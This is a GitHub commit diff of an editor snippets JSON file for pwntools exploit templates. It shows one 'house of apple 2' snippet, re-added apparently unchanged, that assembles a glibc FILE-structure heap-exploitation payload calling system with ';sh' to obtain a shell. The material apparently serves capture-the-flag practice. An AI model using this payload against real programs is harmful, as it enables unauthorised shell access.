File tree Expand file tree Collapse file tree 1 file changed +11
-11
lines changed
Expand file tree Collapse file tree 1 file changed +11
-11
lines changed Original file line number Diff line number Diff line change 44 "prefix" : " def house_of_apple" ,
55 "body" : [
66 " def house_of_apple_sys():" ,
7- " io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']" ,
8- " sys_addr = libc_base + libc.sym['system']" ,
9- " " ,
10- " payload = p32(0xfffff7f5) + b\" ;sh\\ x00\" + p64(0)" ,
11- " payload+= p64(0)*2" ,
12- " payload+= p64(0) + p64(1)" ,
13- " payload+= b\"\\ x00\" *0x38 + p64(sys_addr) + b\"\\ x00\" *0x30 + p64(heap_base+0x0) # payload头地址" ,
14- " payload+= b\"\\ x00\" *0x30+ p64(io_wfile_jumps)" ,
15- " payload+= p64(heap_base+0x0) # payload头地址" ,
16- " retrun payload"
7+ " io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']" ,
8+ " sys_addr = libc_base + libc.sym['system']" ,
9+ " " ,
10+ " payload = p32(0xfffff7f5) + b\" ;sh\\ x00\" + p64(0)" ,
11+ " payload+= p64(0)*2" ,
12+ " payload+= p64(0) + p64(1)" ,
13+ " payload+= b\"\\ x00\" *0x38 + p64(sys_addr) + b\"\\ x00\" *0x30 + p64(heap_base+0x0) # payload头地址" ,
14+ " payload+= b\"\\ x00\" *0x30+ p64(io_wfile_jumps)" ,
15+ " payload+= p64(heap_base+0x0) # payload头地址" ,
16+ " retrun payload"
1717 ],
1818 "description" : " pwntools' house of apple 2 template (No sandbox)"
1919 },
111111 ],
112112 "description" : " pwntools init template"
113113 }
114- }
114+ }
You can’t perform that action at this time.
0 commit comments